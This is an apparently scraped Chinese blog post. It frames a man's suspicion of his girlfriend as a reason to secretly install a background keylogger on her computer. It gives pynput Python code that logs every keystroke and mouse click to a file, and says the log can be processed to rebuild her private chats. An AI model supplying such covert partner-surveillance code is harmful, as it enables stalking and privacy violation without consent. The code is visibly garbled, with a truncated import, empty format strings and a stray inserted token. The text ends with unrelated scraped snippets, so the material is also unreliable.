目錄
a朋友:你直接問。
b朋友:你女朋友睡了後,偷偷拿電腦查。
c朋友:咱們不吊死在一棵樹上,不對勁就早點脫身。
d朋友:我覺得a的不行,直接問容易打草驚蛇,不過他在你面前表現的這麼明顯,你可以去找他聊下,你們之間是不是感情出問題了。
f朋友:嘿,我不和你離的不遠嗎?支開你女朋友我上你家,幫你搞個能獲得聊天記錄的,這不就完美了嗎?
pynput 可以監控我們的鍵盤和滑鼠。目前具有此類功能的庫有很多,比如 pygame 等遊戲庫,但是當我們只需要監控鍵盤和滑鼠時,它們就顯得過於笨重了。
在他的電腦常駐乙個後台程序去實現監控鍵盤輸入並記錄下來,**大概可以這樣:
from pynput import keyboar
def on_press(key):
print(f' :pushed')
def on_release(key):
#print(f' released')
if key == keyboard.key.esc:
# stop listener
return false
with keyboard.listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
控制台列印:
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.button.left:
print('left was pressed!')
elif button == mouse.button.right:
print('right was pressed!')
return false
else:
print('mid was pressed!')
# collect events until released
with mouse.listener(on_click=on_click) as listener:
listener.join()
控制台列印:
你會發現,每條列印都被列印了兩次,這是因為按下去和抬起來都會觸發滑鼠事件。
from pynput import keyboard,mouse
from loguru import logger
from threading import thread
# 定義日誌檔案
logger.add('demo.log')
def on_press(key):
logger.debug(f' :pushed')
def on_release(key):
#print(f' released')
if key == keyboard.key.esc:
# stop listener
return false
# 定義f1用於執行緒1
def f1():
with keyboard.listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.button.left:
logger.debug('left was pressed!')
elif button == mouse.button.right:
logger.debug('right was pressed!')
return false
else:
ltwylqcj logger.debug('mid was pressed!')
# 定義f2用於執行緒2
def f2():
# collect events until released
with mouse.listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起兩個執行緒分別監控鍵盤和滑鼠
t1 = thread(target=f1)
t2 = thread(target=f2)
t1.start()
t2.start()
檢視日誌內容:
這樣鍵盤操作已經全部被記錄,通過對這個日誌檔案進行簡單的nltk語言處理,就能復原聊天記錄。
這個記錄就不給你們展示了,屬於隱私,但能告訴你們結果,嗯,其實他女友www.cppcns.com挺好,看我上鋪兄弟每次都要加班很晚,身體有點不行了,但又好面子,所以偷偷給他在網上買補藥,想給他補補~笑死
實時聊天 記錄
基礎 時事通訊 對socket進行封裝的js var opt var el data opt 建立群通話客戶端 var eb new vertx.eventbus opt.url url 後台配置的服務位址 如 eb.onopen function 群組id 房間號 房間id 統一房間號才能再聊天室...
遊戲聊天記錄
戰鬥計算過程 1 暴擊 命中 miss等判定 2 根據玩家屬性和技能給予的邏輯進行計算,算出來攻擊和防禦的數值,綜合兩者計算出來傷害的血量 3 基礎計算 技能邏輯加成 暴擊 傷害吸收 傷害減免 吸血 反傷 4 基礎計算公式 attack attack attack n def 可以通過技能傳入引數來...
用Python來查詢聊天記錄
用python來查詢聊天記錄 import re def start first date,second date,first name,second name first re.compile f 個人聊天 second re.compile f 群內匹配 first count 0 個人聊天條數...